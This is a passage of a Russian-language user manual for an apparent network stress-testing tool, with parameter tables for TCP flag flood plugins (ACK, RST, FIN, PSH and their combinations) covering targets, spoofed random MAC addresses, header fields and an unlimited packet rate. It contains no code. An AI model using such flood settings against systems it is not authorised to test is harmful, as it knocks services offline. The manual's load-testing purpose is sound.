| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 47;
Табл. 47 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 48.
Табл. 48 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
ACK Flood
ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленным флагом ACK на цель, заставляя ее обрабатывать множество соединений.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 49;
Табл. 49 - Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»);
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 45;
Табл. 50 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 51;
Табл. 51 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 52;
Табл. 52 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 53.
Табл. 53 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
RST Flood
RST Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленным флагом RST на цель, которые сбрасывают активные TCP-соединения на целевом сервере.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 54;
Табл. 54 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 55;
Табл. 55 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 56;
Табл. 56 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 57;
Табл. 57 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 58;
Табл. 58 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 59.
Табл. 59 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
RST/ACK Flood
RST/ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленными флагами RST и ACK, что приводит к сбросу соединений и нарушению нормального обмена данными.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 60;
Табл. 60 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 61;
Табл. 61 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 62;
Табл. 62 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 63;
Табл. 63 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 64;
Табл. 64 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 65.
Табл. 65 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
FIN Flood
FIN Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленным с флагом FIN для завершения TCP-соединений. Этот шаблон используется для тестирования устойчивости сервера к неожиданным запросам на завершение соединений.
Данный плагин состоит из следующих параметров:
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 66;
Табл. 66 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 67;
Табл. 67 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 68;
Табл. 68 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 69;
Табл. 69 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 70;
Табл. 70 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 71.
Табл. 71 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
FIN/ACK Flood
FIN/ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленными флагами FIN и ACK, что может привести к ненужному завершению активных соединений. Этот шаблон помогает проверить, как сервер реагирует на такие запросы.
Данный плагин состоит из следующих параметров:
- Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 72;
Табл. 72 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 73;
Табл. 73 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 74;
Табл. 74 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 75;
Табл. 75 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 76;
Табл. 76 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 77.
Табл. 77 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
PSH Flood
PSH Flood – плагин для генерации трафика, который отправляет большое количество пакетов с установленным флагом PSH, требующих немедленной обработки данных на стороне получателя. Этот шаблон используется для тестирования пропускной способности сервера и его способности обрабатывать интенсивный трафик.
Данный плагин состоит из следующих параметров:
-
Источники – совокупность из выбранного агента, интерфейсов и MAC-адресов с которых агент будет отправлять и принимать трафик. Описание параметров указаны в Табл. 78;
Табл. 78 – Параметры «Источники»
| Название | Описание | Значение |
|---|---|---|
| Агент | Агент, с которого будет отправляться трафик и с который будет принимать трафик. | Выберете агент из списка агентов |
| Сетевой интерфейс | Сетевой интерфейс агента, с которого будет отправляться трафик и с который будет принимать трафик | Выберете интерфейс из списка интерфейсов |
| Сеть | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика. Если выбрано более одного объекта, можно изменить параметр «вес», отвечающий за балансировку распределения пакетов между выбранными объектами «Сети». | Выберете объект «Сети» из списка объектов. Задайте вес (по умолчанию, вес распределяет равномерно пакеты между объектами «Сети») |
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес отправителя |
- Цели – параметры для выбора объекта, в который будет направляться трафик (см. раздел «Добавление сети типа «получателя»), описание которых указаны в Табл. 79;
Табл. 79 – Параметры «Цели»
| Название | Описание | Значение |
|---|---|---|
| MAC-адрес | Выбранные объект «MAC-адрес» (см. раздел «MAC-адрес») параметры которого будут использоваться для отправки трафика | Выберете объект «MAC-адрес» из списка объектов. Случайный MAC-адрес – для каждого пакета будет сгенерирован случайный MAC-адрес получателя. |
| Цель | Выбранные объект «Сети» (см. раздел «Сети») параметры которого будут использоваться для отправки трафика в выбранную цель. | Выберете объект «Сети» из списка объектов. |
- IP заголовок (L3) – параметры настроек IP заголовков на уровне L3 TPC/IP, описание которых указаны в Табл. 80;
Табл. 80 – Параметры «IP заголовок (L3)»
| Название | Описание | Значение |
|---|---|---|
| TTL (Time to Live) | Параметр TTL определяет максимальное количество маршрутизаторов (хопов), через которые может пройти пакет данных, прежде чем он будет отброшен. | Задайте числовое значение (по умолчанию, значение TTL является: «128») |
| ToS (Type of Service) | DSCP — это поле в заголовке IP-пакета, которое используется для определения приоритета и обработки трафика | Задайте числовое значение (по умолчанию, значение DSCP является: «7») |
| ToS (Type of Service) | ECN — это механизм, который позволяет маршрутизаторам уведомлять узлы о перегрузках в сети без сброса пакетов. | Выберете значение из списка: 00 (Non-ECT) 01 (ECT(1)) 10 (ECT(0)) 11 (CE (Congestion Experienced)) |
| Случайный ID | Уникальный идентификатор пакета, выбранный случайным образом для различения фрагментов одного и того же IP-пакета | Включить/выключить тумблер |
| Значение ID | Числовой идентификатор, присвоенный каждому IP-пакету для его идентификации при фрагментации и сборке Параметр доступен, если параметр «Случайный ID» выключен | Задайте числовое значение (по умолчанию, значение «Значение ID» является: «0-65535») |
- TCP заголовок (L4) – параметры настроек IP заголовков на уровне L4 TPC/IP, описание которых указаны в Табл. 81;
Табл. 81 – Параметры «TCP заголовок (L4)»
| Название | Описание | Значение |
|---|---|---|
| Max. Segment Size (Максимальный размер сегмента) | Максимальный размер сегмента определяет максимальный объем данных, который может быть передан в одном TCP-сегменте | Задайте числовое значение (по умолчанию, значение Max. Segment Size является: «1460») |
| WS (IP Options) | Параметр WS (Window Scale) относится к механизму масштабирования окна TCP, который позволяет увеличить размер окна для управления потоком данных. | Задайте числовое значение (по умолчанию, значение WS является: «64») |
| Window Size (Размер окна) | Размер окна TCP определяет объем данных, который может быть отправлен без ожидания подтверждения от получателя. | Задайте числовое значение (по умолчанию, значение Window Size является: «256») |
| Случайный Sequence Number | Случайное число, используемое для инициализации последовательности номеров в протоколах связи (например, TCP) | Включить/выключить тумблер |
| Значение Sequence Number | Текущее число в последовательности, указывающее порядок данных в потоке передачи | Задайте числовое значение (по умолчанию, значение Sequence Number является: «0-4294967295») |
- Параметры скорости – параметр, отвечающий за скорость передачи пакетов, описание которого указано в Табл. 82;
Табл. 82 – Параметр «Скорость»
| Название | Описание | Значение |
|---|---|---|
| Тумблер «Без ограничения» | Максимальная производительность без ограничений на кол-во отправляемых запросов в секунду | Включить/выключить |
| Пакетов в секунду | Какое количество пакетов будет отправлено в одну секунду | Задайте числовое значение |
| Интервал между отправкой запросов | Опция позволяет настроить задержку между отправкой заданного кол-ва запросов в секунду. | Задайте числовое значение |
- Длительность - параметр, отвечающий за время работы плагина, описание которого указано в Табл. 83.
Табл. 83 – Параметр «Длительность»
| Название | Описание | Значение |
|---|---|---|
| Длительность генерации | Время генерации трафика | Задайте числовое значение и выберете величину (в секундах, минутах или часах) |
PSH/ACK Flood
PSH/ACK Flood – плагин для генерации трафика, который отправляет большое количество пакетов с флагами PSH и ACK, создавая нагрузку на сервер из-за необходимости немедленной обработки данных. Этот шаблон помогает оценить, как сервер справляется с высокой интенсивностью запросов.
Данный плагин состоит из следующих параметров:
-
